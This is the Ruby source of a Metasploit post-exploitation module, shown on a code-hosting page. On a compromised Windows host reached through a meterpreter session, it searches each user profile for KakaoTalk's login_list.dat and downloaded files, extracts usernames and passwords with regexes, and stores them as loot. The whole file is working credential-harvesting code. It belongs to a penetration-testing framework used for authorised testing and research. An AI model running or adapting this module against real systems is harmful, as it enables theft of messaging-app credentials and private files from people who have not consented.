Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/kakaotalk.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67# this associative array defines the artifacts known to PackRat8include Msf::Post::File9include Msf::Post::Windows::UserProfiles10include Msf::Post::Windows::Packrat11ARTIFACTS =12{13application: 'Kakao',14app_category: 'chats',15gatherable_artifacts: [16{17filetypes: 'logins',18path: 'LocalAppData',19dir: 'Kakao',20artifact_file_name: 'login_list.dat',21description: 'The email address used for login',22credential_type: 'text',23regex_search: [24{25extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',26extraction_type: 'credentials',27regex: [28'(?i-mx:login_list.*)'29]30}31]32},33{34filetypes: 'files',35path: 'MyDocs',36dir: 'KakaoTalk Downloads',37artifact_file_name: '*',38description: 'Fiels that were downloaded to the host machine'39}40]41}.freeze4243def initialize(info = {})44super(45update_info(46info,47'Name' => 'KakaoTalk credential gatherer',48'Description' => %q{49PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.50PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.51Further details can be found in the module documentation.52This is a module that searches for KakaoTalk credentials on a windows remote host. KakaoTalk is a popular mobile messaging app most widely used in South Korea.53},54'License' => MSF_LICENSE,55'Author' => [56'Kazuyoshi Maruta',57'Daniel Hallsworth',58'Barwar Salim M',59'Z. Cliffe Schreuders', # http://z.cliffe.schreuders.org60],61'Platform' => ['win'],62'SessionTypes' => ['meterpreter'],63'Notes' => {64'Stability' => [CRASH_SAFE],65'Reliability' => [],66'SideEffects' => []67}68)69)7071register_options(72[73OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),74OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),75OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),76# enumerates the options based on the artifacts that are defined below77OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])78]79)80end8182def run83print_status('Filtering based on these selections: ')84print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")85print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")86print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")8788# used to grab files for each user on the remote host89grab_user_profiles.each do |userprofile|90run_packrat(userprofile, ARTIFACTS)91end9293print_status 'PackRat credential sweep Completed'94end95end969798